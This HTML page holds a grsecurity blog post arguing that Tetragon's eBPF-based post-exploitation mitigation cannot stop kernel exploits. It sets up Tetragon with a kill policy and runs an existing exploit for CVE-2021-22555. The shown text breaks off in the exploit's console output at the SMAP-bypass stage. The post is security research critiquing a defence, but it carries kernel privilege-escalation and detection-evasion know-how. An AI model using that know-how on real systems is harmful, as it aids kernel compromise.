<!DOCTYPE html>
<html lang="en">
<head>
<link rel="preload" href="/fonts/Roboto-regular/Roboto-regular.woff2" as="font">
<link rel="preload" href="/fonts/Roboto-700/Roboto-700.woff2" as="font">
<link rel="preload" href="/fonts/Roboto-300italic/Roboto-300italic.woff2" as="font">
<link rel="preload" href="/fonts/Roboto-300/Roboto-300.woff2" as="font">
<link rel="preload" href="/fonts/Droid-Serif-italic/Droid-Serif-italic.woff2" as="font">
<link rel="preload" href="/fonts/Roboto-900/Roboto-900.woff2" as="font">
<!-- Google Tag Manager -->
<script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
})(window,document,'script','dataLayer','GTM-54V6PHM');</script>
<!-- End Google Tag Manager -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="robots" content="NOODP, NOARCHIVE">
<meta name="description" content="
In this blog post, we take the reader on a journey through a bypass of a new eBPF-based observability and mitigation tool named Tetragon, developed in the two hours after the tool was first set up, as a hopefully instructive lesson on the importance of security fundamentals.">



<title>
grsecurity - Tetragone: A Lesson in Security Fundamentals</title>

<link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png?v=5A5zyaR2my">
<link rel="icon" type="image/png" href="/favicon-32x32.png?v=5A5zyaR2my" sizes="32x32">
<link rel="icon" type="image/png" href="/favicon-16x16.png?v=5A5zyaR2my" sizes="16x16">
<link rel="manifest" href="/manifest.json?v=5A5zyaR2my">
<link rel="mask-icon" href="/safari-pinned-tab.svg?v=5A5zyaR2my" color="#344d83">
<link rel="shortcut icon" href="/favicon.ico?v=5A5zyaR2my">
<meta name="theme-color" content="#ffffff">

<script type='text/javascript' src='/js/header.js'></script>
<link rel='stylesheet' href='/scss/style.css?v=1.5' type='text/css' media='all' />
<link rel='stylesheet' href='/js/highlight/styles/default.css?v=1.1' type='text/css' media='all' />
</head>
<body>
<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-54V6PHM"
height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->
<script src="/js/highlight.pack.js"></script>
<script>hljs.initHighlightingOnLoad();</script>
<header id="top" class="site-header" role="banner">

	<div class="header-content wrap">

		<h1 class="logo">
			<a href="/"><img src="/img/grsecurity.svg" alt="grsecurity"></a>
		</h1>

		<button class="menu-btn">Show Navigation</button>
<div class="nav-wrap">
	<nav class="access" role="navigation" aria-label="Primary" itemscope itemtype="http://www.schema.org/SiteNavigationElement">
		<ul>
			<li itemprop="name"><a href="/" itemprop="url">Home</a></li>
			<li itemprop="name"><a href="/features.php" itemprop="url">Features</a></li>
			<li itemprop="name"><a href="/download.php" itemprop="url">Download</a></li>
			<li itemprop="name"><a href="/support.php" itemprop="url">Support</a></li>
			<li itemprop="name"><a href="/papers.php" itemprop="url">Papers</a></li>
			<li itemprop="name"><a href="/blog.php" itemprop="url">Blog</a></li>
			<li><a href="/purchase.php" class="btn" itemprop="url"><span itemprop="name">Purchase</span></a></li>
		</ul>

	</nav>
</div> <!-- .nav-wrap -->

	</div>

</header>
        <main>
                <article>
                        <header class="masthead">
                                <div class="wrap">
                                        <h1 class="large-headline">Tetragone: A Lesson in Security Fundamentals</h1>
					<p>By Pawel Wieczorkiewicz &amp; Brad Spengler</p>
                                        <p>May 24, 2022</p>
                                        <div class="social">
                                        
<a href="https://facebook.com/sharer.php?u=https%3A%2F%2Fgrsecurity.net%2Ftetragone_a_lesson_in_security_fundamentals" role="button" tabindex="0" class="social-share-btn social-icon-wrapper" style="background-color: rgb(59, 89, 152); border-radius: 16px;"><span class="social-visually-hidden">Share to Facebook</span><span class="social-icon-wrapper" style="line-height: 32px; height: 32px; width: 32px;"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 32 32" version="1.1" role="img" style="fill: rgb(255, 255, 255); width: 32px; height: 32px;"><title>Facebook</title><g><path d="M22 5.16c-.406-.054-1.806-.16-3.43-.16-3.4 0-5.733 1.825-5.733 5.17v2.882H9v3.913h3.837V27h4.604V16.965h3.823l.587-3.913h-4.41v-2.5c0-1.123.347-1.903 2.198-1.903H22V5.16z" fill-rule="evenodd"></path></g></svg></span></a>
<a href="https://www.linkedin.com/shareArticle?mini=true&url=https%3A%2F%2Fgrsecurity.net%2Ftetragone_a_lesson_in_security_fundamentals&title=Tetragone%3A+A+Lesson+in+Security+Fundamentals&summary=In+this+blog+post%2C+we+take+the+reader+on+a+journey+through+a+bypass+of+a+new+eBPF-based+observability+and+mitigation+tool+named+Tetragon%2C+developed+in+the+two+hours+after+the+tool+was+first+set+up%2C+as+a+hopefully+instructive+lesson+on+the+importance+of+security+fundamentals.&source=https%3A%2F%2Fgrsecurity.net%2Ftetragone_a_lesson_in_security_fundamentals" role="button" tabindex="0" class="social-share-btn social-icon-wrapper" style="background-color: rgb(0, 119, 181); border-radius: 16px;"><span class="social-visually-hidden">Share to LinkedIn</span><span class="social-icon-wrapper" style="line-height: 32px; height: 32px; width: 32px;"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 32 32" version="1.1" role="img" style="fill: rgb(255, 255, 255); width: 32px; height: 32px;"><title>LinkedIn</title><g><path d="M26 25.963h-4.185v-6.55c0-1.56-.027-3.57-2.175-3.57-2.18 0-2.51 1.7-2.51 3.46v6.66h-4.182V12.495h4.012v1.84h.058c.558-1.058 1.924-2.174 3.96-2.174 4.24 0 5.022 2.79 5.022 6.417v7.386zM8.23 10.655a2.426 2.426 0 0 1 0-4.855 2.427 2.427 0 0 1 0 4.855zm-2.098 1.84h4.19v13.468h-4.19V12.495z" fill-rule="evenodd"></path></g></svg></span></a>
<a href="https://twitter.com/share?url=https%3A%2F%2Fgrsecurity.net%2Ftetragone_a_lesson_in_security_fundamentals&text=Tetragone%3A+A+Lesson+in+Security+Fundamentals&hashtags=grsecurity&related=grsecurity%2Copensrcsec" role="button" tabindex="0" class="social-share-btn social-icon-wrapper" style="background-color: rgb(29, 161, 242); border-radius: 16px;"><span class="social-visually-hidden">Share to Twitter</span><span class="social-icon-wrapper" style="line-height: 32px; height: 32px; width: 32px;"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 32 32" version="1.1" role="img" style="fill: rgb(255, 255, 255); width: 32px; height: 32px;"><title>Twitter</title><g><path d="M27.996 10.116c-.81.36-1.68.602-2.592.71a4.526 4.526 0 0 0 1.984-2.496 9.037 9.037 0 0 1-2.866 1.095 4.513 4.513 0 0 0-7.69 4.116 12.81 12.81 0 0 1-9.3-4.715 4.49 4.49 0 0 0-.612 2.27 4.51 4.51 0 0 0 2.008 3.755 4.495 4.495 0 0 1-2.044-.564v.057a4.515 4.515 0 0 0 3.62 4.425 4.52 4.52 0 0 1-2.04.077 4.517 4.517 0 0 0 4.217 3.134 9.055 9.055 0 0 1-5.604 1.93A9.18 9.18 0 0 1 6 23.85a12.773 12.773 0 0 0 6.918 2.027c8.3 0 12.84-6.876 12.84-12.84 0-.195-.005-.39-.014-.583a9.172 9.172 0 0 0 2.252-2.336" fill-rule="evenodd"></path></g></svg></span></a>
<a href="https://reddit.com/submit?url=https%3A%2F%2Fgrsecurity.net%2Ftetragone_a_lesson_in_security_fundamentals&title=Tetragone%3A+A+Lesson+in+Security+Fundamentals" role="button" tabindex="0" class="social-share-btn social-icon-wrapper" style="background-color: rgb(255, 87, 0); border-radius: 16px;"><span class="social-visually-hidden">Share to Reddit</span><span class="social-icon-wrapper" style="line-height: 32px; height: 32px; width: 32px;"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 32 32" version="1.1" role="img" style="fill: rgb(255, 255, 255); width: 32px; height: 32px;"><title>Reddit</title><g><path d="M27 15.5a2.452 2.452 0 0 1-1.338 2.21c.098.38.147.777.147 1.19 0 1.283-.437 2.47-1.308 3.563-.872 1.092-2.06 1.955-3.567 2.588-1.506.634-3.143.95-4.91.95-1.768 0-3.403-.316-4.905-.95-1.502-.632-2.69-1.495-3.56-2.587-.872-1.092-1.308-2.28-1.308-3.562 0-.388.045-.777.135-1.166a2.47 2.47 0 0 1-1.006-.912c-.253-.4-.38-.842-.38-1.322 0-.678.237-1.26.712-1.744a2.334 2.334 0 0 1 1.73-.726c.697 0 1.29.26 1.78.782 1.785-1.258 3.893-1.928 6.324-2.01l1.424-6.467a.42.42 0 0 1 .184-.26.4.4 0 0 1 .32-.063l4.53 1.006c.147-.306.368-.553.662-.74a1.78 1.78 0 0 1 .97-.278c.508 0 .94.18 1.302.54.36.36.54.796.54 1.31 0 .512-.18.95-.54 1.315-.36.364-.794.546-1.302.546-.507 0-.94-.18-1.295-.54a1.793 1.793 0 0 1-.533-1.308l-4.1-.92-1.277 5.86c2.455.074 4.58.736 6.37 1.985a2.315 2.315 0 0 1 1.757-.757c.68 0 1.256.242 1.73.726.476.484.713 1.066.713 1.744zm-16.868 2.47c0 .513.178.95.534 1.315.356.365.787.547 1.295.547.508 0 .942-.182 1.302-.547.36-.364.54-.802.54-1.315 0-.513-.18-.95-.54-1.31-.36-.36-.794-.54-1.3-.54-.5 0-.93.183-1.29.547a1.79 1.79 0 0 0-.54 1.303zm9.944 4.406c.09-.09.135-.2.135-.323a.444.444 0 0 0-.44-.447c-.124 0-.23.042-.32.124-.336.348-.83.605-1.486.77a7.99 7.99 0 0 1-1.964.248 7.99 7.99 0 0 1-1.964-.248c-.655-.165-1.15-.422-1.486-.77a.456.456 0 0 0-.32-.124.414.414 0 0 0-.306.124.41.41 0 0 0-.135.317.45.45 0 0 0 .134.33c.352.355.837.636 1.455.843.617.207 1.118.33 1.503.366a11.6 11.6 0 0 0 1.117.056c.36 0 .733-.02 1.117-.056.385-.037.886-.16 1.504-.366.62-.207 1.104-.488 1.456-.844zm-.037-2.544c.507 0 .938-.182 1.294-.547.356-.364.534-.802.534-1.315 0-.505-.18-.94-.54-1.303a1.75 1.75 0 0 0-1.29-.546c-.506 0-.94.18-1.3.54-.36.36-.54.797-.54 1.31s.18.95.54 1.315c.36.365.794.547 1.3.547z" fill-rule="evenodd"></path></g></svg></span></a>
<a href="mailto:name@example.com?subject=grsecurity%3A+Tetragone%3A+A+Lesson+in+Security+Fundamentals&body=Hi%2C%0D%0A%0D%0AI%27d+like+you+to+check+out+the+following+post+from+Open+Source+Security%2C+Inc.++I+think+you+might+find+it+interesting.%0D%0A%0D%0Ahttps%3A%2F%2Fgrsecurity.net%2Ftetragone_a_lesson_in_security_fundamentals%0D%0A%0D%0A" role="button" tabindex="0" class="social-share-btn social-icon-wrapper" style="background-color: rgb(132, 132, 132); border-radius: 16px;"><span class="social-visually-hidden">Share to Email</span><span class="social-icon-wrapper" style="line-height: 32px; height: 32px; width: 32px;"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 32 32" version="1.1" role="img" style="fill: rgb(255, 255, 255); width: 32px; height: 32px;"><title>Email</title><g><g fill-rule="evenodd"></g><path d="M27 22.757c0 1.24-.988 2.243-2.19 2.243H7.19C5.98 25 5 23.994 5 22.757V13.67c0-.556.39-.773.855-.496l8.78 5.238c.782.467 1.95.467 2.73 0l8.78-5.238c.472-.28.855-.063.855.495v9.087z"></path><path d="M27 9.243C27 8.006 26.02 7 24.81 7H7.19C5.988 7 5 8.004 5 9.243v.465c0 .554.385 1.232.857 1.514l9.61 5.733c.267.16.8.16 1.067 0l9.61-5.733c.473-.283.856-.96.856-1.514v-.465z"></path></g></svg></span></a>
                                        </div>
                                </div>
                        </header>

                        <section class="bar pull-up blog">
                                <div class="wrap">
                                        <div class="panel">

<h2 id="introduction">Introduction</h2>
<p>The story began with a tweet about a new eBPF-based Security Observability and Runtime Enforcement solution, named Tetragon, posted by the CTO of the company (Isovalent) that created it.</p>    <p><center><img src="/tetragone_images/tetragon_announcement.png" alt="Twitter announcement of Tetragon" style="zoom:50%;" /></center></p>
<p>With a very cute logo, eBPF, Kubernetes, Linux kernel runtime and real-time security enforcer, capable of hooking into all layers of the operating system and application stack, the solution seemed to hit the ground running right from the start. All the features the tool provides can be found at its website: <a href="#1">[1]</a>.</p>
<p>The &quot;transparent security observability across the stack from the lower level up into the applications. File access, networking, storage, syscalls, escalations, function tracers, ...&quot; sounds interesting, but what really caught our eye was the enforcement capabilities.</p>
<p>On the website, in the section &quot;Automatic Mitigation of Privilege &amp; Container Escapes&quot;, the authors claim that &quot;Tetragon adds the ability to prevent privilege, capability, and namespace escalations in the kernel by detecting them and stopping the involved processes&quot;.</p>
<p>To demonstrate its effectiveness, the authors show a portion of an apparently simple policy that is supposed to automatically detect a capability change to <code>CAP_SYS_ADMIN</code> and kill the responsible process. As a worthy opponent, an exploit (authored by theflow) for the CVE-2021-22555 vulnerability <a href="#5">[5]</a> (Netfilter bug leading to the privilege escalation, more about the bug can be found in an excellent write up at <a href="#7">[7]</a>) in the Linux kernel had been selected.</p>
<p>The original version of the Tetragon blog post showed how the exploit process gets killed upon executing the <code>execve()</code> system call with the escalated privilege, which was quickly pointed out to be far too late <a href="#2">[2]</a>. Now, the authors claim to be using a similar policy attached to all system calls, in order to catch and kill the exploit earlier. Why the change? We will discuss it in the next section. Regardless of the exact policy and exact moment of detecting the escalation, the exploit process gets ultimately killed. That is excellent, right!?</p>
<p>Well, there is a small (read: huge) caveat, that authors of the Tetragon blog post perhaps unknowingly admit: &quot;The process was killed right when the vulnerability was exploited to escalate privileges&quot;. <em>&quot;vulnerability was exploited&quot;</em>?! This can't be good.</p>
<h2 id="why-it-can-t-work">Why it can't work</h2>
<p>To quickly recap the situation: in attempting to mitigate container escapes, Tetragon tries using advanced Linux kernel features like eBPF and kprobes not to protect the very same kernel from getting exploited, but instead to stop an already successful exploit from using its gains.</p>
<p>Going back to security fundamentals, this approach is simply infeasible: post-exploitation detection/mitigation is at the mercy of an exploit writer putting little to no effort into avoiding tripping these detection mechanisms.  To help illustrate this point, it helps to think in terms of the graphic below:</p>
<p><img src="/tetragone_images/exploitation_steps.jpg" alt="Graphic showing the range of potential for an exploit at different stages" /></p>
<p>At point 1, a defense employs methods like attack surface reduction to prevent a vulnerability from being reached in the first place.  This is highly (even perfectly) effective <em>where it is possible</em>.  Once a vulnerability can be triggered, however, an attacker will invoke a series of steps in order to achieve both greater reliability and greater control over the vulnerability.  The initial steps (points 2 and 3) are precarious and essential: disrupting these either require significant reworking of the exploit or renders it infeasible (due to a high probability of detection), impossible without an additional vulnerability, or simply impossible.</p>
<p>As illustrated in the graphic, the further along the exploit is able to operate in achieving that reliability and control, the more possibilities (size of the circles in the graphic) open up for it at a lower marginal cost to the attacker.  In the case of the exploit used for Tetragon's demo in its blog, the exploit was able to achieve ROP, allowing it to execute any code in the kernel, modify any memory -- the possibilities are virtually endless.  The attacker is in full control of the environment in which Tetragon attempts to perform its enforcement actions.</p>
<p>The core message here is: Tetragon (in its aspect of post-exploitation container escape mitigation) simply tries to address the problem too late.</p>
<h3 id="post-exploitation-effectiveness-">Post-exploitation &quot;effectiveness&quot;</h3>
<p>Tetragon aims in its container escape defense for a post-exploitation &quot;mitigation&quot;. In order to be even slightly successful without strong and comprehensive pre-exploitation defenses/hardening, it has to adhere to certain principles.  We can evaluate Tetragon's effectiveness here by looking at modern principles for its closest post-exploitation comparison: integrity checking / anti-persistence.  First, one can only expect some guarantees from a higher privilege level component monitoring or enforcing policies for a lower privilege level component (for example: OS kernel vs user-land programs). Let's call it &quot;privilege domain separation&quot;. Second, &quot;<em>Nemo iudex in causa sua</em>&quot;: there must be role separation between a monitoring/enforcing component and the one being watched. One cannot expect any reasonable guarantees from a component monitoring or enforcing policies on itself, regardless of the component's privilege level, once an attacker has significant control over that component.</p>
<p>How does Tetragon adhere to the basic principles (in the example above specifically)? Tetragon tries to use Linux kernel privilege level features (eBPF/kprobes) to enforce security policies on... the Linux kernel.</p>
<p>Quite immediately this creates a connotation with another realm of security software: old-style Antivirus (AV).
What Tetragon claims to do is no different from an AV vendor with only a userland hook library injected into malware processes, claiming to be able to detect or stop malware, when the malware gets to run first.</p>
<p>Simply, after compromising the core controller, using that (already compromised!) controller's features to mitigate the already successful attack just can't work out well. Furthermore, it does not matter how fine-grained the applied policy might be, it cannot reliably mitigate against a kernel memory corruption bug and all the opportunities it gives to the attacker. To quote Mathias Krause: &quot;When you give control to the weird machine, it is game over&quot;.</p>
<p>An attacker can use all sorts of evading/bypassing techniques. Some of them might become a standard part of any exploit by default. Let's take a look at the original exploit used in the Tetragon demonstration. By default, it avoids very effectively a handful of popular mitigations:</p>
<ul>
<li>W^X - avoids by using ROP</li>
<li>SMEP - avoids by using ROP</li>
<li>SMAP - avoids by using data in sprayed kernel-land objects only</li>
</ul>
<p>Knowing if the mitigation is or is not enabled oftentimes does not make any big difference. An attacker can simply assume it is there and accommodate the exploit to bypass it just in case. For instance, in the example exploit, one doesn't need to actually confirm the presence of an SMAP-capable CPU before using a technique that avoids tripping over SMAP.  The same is the case for  Tetragon.</p>
<p>There is however a significant difference between the mitigations listed above and Tetragon. Ideally, useful pre-exploitation mitigations should require, at minimum, significant reworking of exploits and not allow an attacker to circumvent them by generally-applicable additions to an exploit library.  They stand in the way of successful or reliable exploitation <strong>before</strong> or <strong>while</strong> it occurs. Tetragon however, does not prevent the exploitation at all (it does not make the W^X, SMEP nor SMAP bypasses any harder), it lets it happen and hopes to be able to detect the fallout. It just cannot do that very well (or at all to be frank), because at this point it is fully at the mercy of the attacker, who can quite easily (deliberately or accidently) wipe out all Tetragon's capabilities right away. Since the attacker can, the attacker will.</p>
<h3 id="mitigation-side-effects">Mitigation side-effects</h3>
<p>Speaking of the fine-grained policy: additional hooks, checks, probes and the like come at a cost. Adding more and more is not free, as the performance hit becomes quickly non-negligible. This fact, the above &quot;effectiveness&quot; discussion and the realization that runtime hooks cannot do better than in-source or compiler-applied mitigations, renders the whole point of Tetragon being the &quot;Automatic Mitigation of Privilege &amp; Container Escapes&quot; solution wrong. Another concern might be the correctness of the policy application. One cannot sprinkle the Linux kernel with haphazardly-chosen probes and hooks without deeper understanding of the contexts the code might run in. For example, how to handle locking correctly at all times without deeper analysis of the source code? It may turn out that a potential policy can only be reliably attached to well defined interfaces in the kernel and ideally to those with a relatively low execution frequency (performance matters too).</p>
<h3 id="what-can-tetragon-do-">What can Tetragon do?</h3>
<p>Tetragon could be useful for attack surface reduction, preventing user-land programs from leveraging certain interfaces they do not need. If a thorough analysis of a published security vulnerability is performed, like live-patching or other approaches, it could also be capable of preventing the reachability of that specific known vulnerability.  But its post-exploitation mitigation certainly cannot be expected <em>in general</em> to mitigate nor even reliably detect kernel-level exploits.</p>
<h2 id="the-exploit-s-">The exploit(s)</h2>
<p>First of all, a full-disclosure: if you expected that I did something sophisticated for the exploit part that an average attacker would not have been able to figure out, you will be disappointed.</p>
<h3 id="the-ordeal-tetragon-setup">The ordeal - Tetragon setup</h3>
<p>Setting up Tetragon was the most challenging part of this effort. Instructions available at the GitHub repo <a href="#3">[3]</a> seem to focus on the Kubernetes use case and do not describe well involved components, available tools and how to use them. I will spare readers all the gory details of this struggle. Suffice to say, I finally managed to get it to work after building it and running the daemon according to the Development Guide <a href="#4">[4]</a> and discovering the <code>tetra</code> CLI tool to manage policies.</p>
<h3 id="the-fun-doing-the-bypass">The fun - doing the bypass</h3>
<p>At this point, I had a working Tetragon setup, with policies that actually get enforced:</p>
<pre><code class="lang-shell">wipawel@esx2-ubnt<span class="hljs-string">-20</span><span class="hljs-string">-04</span><span class="hljs-string">-02</span>:~/tetragon$ sudo LD_LIBRARY_PATH=$(realpath ./lib) ./tetragon --bpf-lib bpf/objs --btf /home/wipawel/git/tetragon/vmlinux<span class="hljs-string">-5</span>.8.0<span class="hljs-string">-48</span>-generic --enable-process-cred --enable-process-ns 
[...]
time="2022<span class="hljs-string">-05</span><span class="hljs-string">-21</span>T12:37:37<span class="hljs-string">+02</span>:00" level=info msg="Loaded BPF maps and events for sensor successfully" sensor=__main__
time="2022<span class="hljs-string">-05</span><span class="hljs-string">-21</span>T12:37:37<span class="hljs-string">+02</span>:00" level=info msg="Using metadata file" metadata=/home/wipawel/git/tetragon/vmlinux<span class="hljs-string">-5</span>.8.0<span class="hljs-string">-48</span>-generic
time="2022<span class="hljs-string">-05</span><span class="hljs-string">-21</span>T12:37:37<span class="hljs-string">+02</span>:00" level=info msg="Loading sensor" name=__main__
time="2022<span class="hljs-string">-05</span><span class="hljs-string">-21</span>T12:37:37<span class="hljs-string">+02</span>:00" level=info msg="Loading kernel version 5.8.18"
time="2022<span class="hljs-string">-05</span><span class="hljs-string">-21</span>T12:37:37<span class="hljs-string">+02</span>:00" level=info msg="Loaded BPF maps and events for sensor successfully" sensor=__main__
time="2022<span class="hljs-string">-05</span><span class="hljs-string">-21</span>T12:37:37<span class="hljs-string">+02</span>:00" level=info msg="Listening for events..."
</code></pre>
<p>I created a policy that was supposedly similar to the one used in the Tetragon blog post demo (unfortunately, the crucial part was missing from the policy in the Tetragon blog):</p>
<pre><code class="lang-yaml"><span class="hljs-attribute">apiVersion</span>: cilium.io/v1alpha1
<span class="hljs-attribute">kind</span>: TracingPolicy
<span class="hljs-attribute">metadata</span>:
  <span class="hljs-attribute">name</span>: <span class="hljs-string">"capability-protection"</span>
<span class="hljs-attribute">spec</span>:
  <span class="hljs-attribute">kprobes</span>:
  - <span class="hljs-attribute">call</span>: <span class="hljs-string">"__x64_sys_execve"</span>
    <span class="hljs-attribute">syscall</span>: true 
    <span class="hljs-attribute">selectors</span>:
    - <span class="hljs-attribute">matchCapabilityChanges</span>:
      - <span class="hljs-attribute">type</span>: Effective
        <span class="hljs-attribute">operator</span>: In
        <span class="hljs-attribute">values</span>:
        - <span class="hljs-string">"CAP_SYS_ADMIN"</span>
      <span class="hljs-attribute">matchActions</span>:
      - <span class="hljs-attribute">action</span>: Sigkill
  - <span class="hljs-attribute">call</span>: <span class="hljs-string">"do_execve"</span>
    <span class="hljs-attribute">syscall</span>: false
    <span class="hljs-attribute">selectors</span>:
    - <span class="hljs-attribute">matchCapabilityChanges</span>:
      - <span class="hljs-attribute">type</span>: Effective
        <span class="hljs-attribute">operator</span>: In
        <span class="hljs-attribute">values</span>:
        - <span class="hljs-string">"CAP_SYS_ADMIN"</span>
      <span class="hljs-attribute">matchActions</span>:
      - <span class="hljs-attribute">action</span>: Sigkill
  - <span class="hljs-attribute">call</span>: <span class="hljs-string">"commit_creds"</span>
    <span class="hljs-attribute">syscall</span>: false
    <span class="hljs-attribute">selectors</span>:
    - <span class="hljs-attribute">matchCapabilityChanges</span>:
      - <span class="hljs-attribute">type</span>: Effective
        <span class="hljs-attribute">operator</span>: In
        <span class="hljs-attribute">values</span>:
        - <span class="hljs-string">"CAP_SYS_ADMIN"</span>
      <span class="hljs-attribute">matchActions</span>:
      - <span class="hljs-attribute">action</span>: Sigkill
</code></pre>
<p>and applied it using <code>tetra</code>:</p>
<pre><code class="lang-shell">wipawel@esx2-ubnt-<span class="hljs-number">20</span>-<span class="hljs-number">04</span>-<span class="hljs-symbol">02:</span>~/tetragon$ ./tetra tracingpolicy add exec.yaml 
<span class="hljs-built_in">time</span>=<span class="hljs-string">"2022-05-21T12:37:47+02:00"</span> level=<span class="hljs-built_in">info</span> msg=<span class="hljs-string">"Added generic kprobe sensor: bpf/objs/bpf_generic_kprobe_v53.o -&gt; __x64_sys_execve"</span>
<span class="hljs-built_in">time</span>=<span class="hljs-string">"2022-05-21T12:37:47+02:00"</span> level=<span class="hljs-built_in">info</span> msg=<span class="hljs-string">"Added generic kprobe sensor: bpf/objs/bpf_generic_kprobe_v53.o -&gt; do_execve"</span>
<span class="hljs-built_in">time</span>=<span class="hljs-string">"2022-05-21T12:37:47+02:00"</span> level=<span class="hljs-built_in">info</span> msg=<span class="hljs-string">"Added generic kprobe sensor: bpf/objs/bpf_generic_kprobe_v53.o -&gt; commit_creds"</span>
<span class="hljs-built_in">time</span>=<span class="hljs-string">"2022-05-21T12:37:47+02:00"</span> level=<span class="hljs-built_in">info</span> msg=<span class="hljs-string">"Using metadata file"</span> metadata=/home/wipawel/git/tetragon/vmlinux-<span class="hljs-number">5.8</span>.<span class="hljs-number">0</span>-<span class="hljs-number">48</span>-generic
<span class="hljs-built_in">time</span>=<span class="hljs-string">"2022-05-21T12:37:47+02:00"</span> level=<span class="hljs-built_in">info</span> msg=<span class="hljs-string">"Loading sensor"</span> name=__generic_kprobe_sensors__
<span class="hljs-built_in">time</span>=<span class="hljs-string">"2022-05-21T12:37:47+02:00"</span> level=<span class="hljs-built_in">info</span> msg=<span class="hljs-string">"Loading kernel version 5.8.18"</span>
<span class="hljs-built_in">time</span>=<span class="hljs-string">"2022-05-21T12:37:47+02:00"</span> level=<span class="hljs-built_in">info</span> msg=<span class="hljs-string">"Load probe"</span> Program=bpf/objs/bpf_generic_kprobe_v53.o <span class="hljs-built_in">Type</span>=generic_kprobe
bpf tetragon_kprobe_calls map <span class="hljs-built_in">and</span> progs /sys/fs/bpf/tcpmon/kprobe___x64_sys_execve mapfd <span class="hljs-number">104</span>
<span class="hljs-built_in">time</span>=<span class="hljs-string">"2022-05-21T12:37:47+02:00"</span> level=<span class="hljs-built_in">info</span> msg=<span class="hljs-string">"Loaded generic kprobe sensor: bpf/objs/bpf_generic_kprobe_v53.o -&gt; __x64_sys_execve"</span>
<span class="hljs-built_in">time</span>=<span class="hljs-string">"2022-05-21T12:37:47+02:00"</span> level=<span class="hljs-built_in">info</span> msg=<span class="hljs-string">"BPF prog was loaded"</span> label=kprobe/generic_kprobe prog=bpf/objs/bpf_generic_kprobe_v53.o
<span class="hljs-built_in">time</span>=<span class="hljs-string">"2022-05-21T12:37:47+02:00"</span> level=<span class="hljs-built_in">info</span> msg=<span class="hljs-string">"Load probe"</span> Program=bpf/objs/bpf_generic_kprobe_v53.o <span class="hljs-built_in">Type</span>=generic_kprobe
bpf tetragon_kprobe_calls map <span class="hljs-built_in">and</span> progs /sys/fs/bpf/tcpmon/kprobe_do_execve mapfd <span class="hljs-number">106</span>
<span class="hljs-built_in">time</span>=<span class="hljs-string">"2022-05-21T12:37:48+02:00"</span> level=<span class="hljs-built_in">info</span> msg=<span class="hljs-string">"Loaded generic kprobe sensor: bpf/objs/bpf_generic_kprobe_v53.o -&gt; do_execve"</span>
<span class="hljs-built_in">time</span>=<span class="hljs-string">"2022-05-21T12:37:48+02:00"</span> level=<span class="hljs-built_in">info</span> msg=<span class="hljs-string">"BPF prog was loaded"</span> label=kprobe/generic_kprobe prog=bpf/objs/bpf_generic_kprobe_v53.o
<span class="hljs-built_in">time</span>=<span class="hljs-string">"2022-05-21T12:37:48+02:00"</span> level=<span class="hljs-built_in">info</span> msg=<span class="hljs-string">"Load probe"</span> Program=bpf/objs/bpf_generic_kprobe_v53.o <span class="hljs-built_in">Type</span>=generic_kprobe
bpf tetragon_kprobe_calls map <span class="hljs-built_in">and</span> progs /sys/fs/bpf/tcpmon/kprobe_commit_creds mapfd <span class="hljs-number">108</span>
<span class="hljs-built_in">time</span>=<span class="hljs-string">"2022-05-21T12:37:48+02:00"</span> level=<span class="hljs-built_in">info</span> msg=<span class="hljs-string">"Loaded generic kprobe sensor: bpf/objs/bpf_generic_kprobe_v53.o -&gt; commit_creds"</span>
<span class="hljs-built_in">time</span>=<span class="hljs-string">"2022-05-21T12:37:48+02:00"</span> level=<span class="hljs-built_in">info</span> msg=<span class="hljs-string">"BPF prog was loaded"</span> label=kprobe/generic_kprobe prog=bpf/objs/bpf_generic_kprobe_v53.o
<span class="hljs-built_in">time</span>=<span class="hljs-string">"2022-05-21T12:37:48+02:00"</span> level=<span class="hljs-built_in">info</span> msg=<span class="hljs-string">"Loaded BPF maps and events for sensor successfully"</span> sensor=__generic_kprobe_sensors__
</code></pre>
<p>Running the original exploit proved that it got killed at the same spot as presented in the blog:</p>
<pre><code class="lang-shell">wipawel@esx2-ubnt<span class="hljs-number">-20</span><span class="hljs-number">-04</span><span class="hljs-number">-02</span>:~$ ./exploit
[+] <span class="hljs-symbol">Linux</span> <span class="hljs-symbol">Privilege</span> <span class="hljs-symbol">Escalation</span> by theflow@ - <span class="hljs-number">2021</span>

[+] <span class="hljs-symbol">STAGE</span> <span class="hljs-number">0</span>: <span class="hljs-symbol">Initialization</span>
[*] <span class="hljs-symbol">Setting</span> up namespace sandbox...
[*] <span class="hljs-symbol">Initializing</span> sockets and message queues...

[+] <span class="hljs-symbol">STAGE</span> <span class="hljs-number">1</span>: <span class="hljs-symbol">Memory</span> corruption
[*] <span class="hljs-symbol">Spraying</span> primary messages...
[*] <span class="hljs-symbol">Spraying</span> secondary messages...
[*] <span class="hljs-symbol">Creating</span> holes in primary messages...
[*] <span class="hljs-symbol">Triggering</span> out-of-bounds write...
[*] <span class="hljs-symbol">Searching</span> for corrupted primary message...
[+] fake_idx: <span class="hljs-number">804</span>
[+] real_idx: <span class="hljs-number">7</span>f2

[+] <span class="hljs-symbol">STAGE</span> <span class="hljs-number">2</span>: <span class="hljs-symbol">SMAP</span> bypass
[*] <span class="hljs-symbol">Freeing</span> real secondary message...
[*] <span class="hljs-symbol">Spraying</span> fake secondary messages...
[*] <span class="hljs-symbol">Leaking</span> adjacent secondary message...
[+] kheap_addr: ffff92bc6e099000
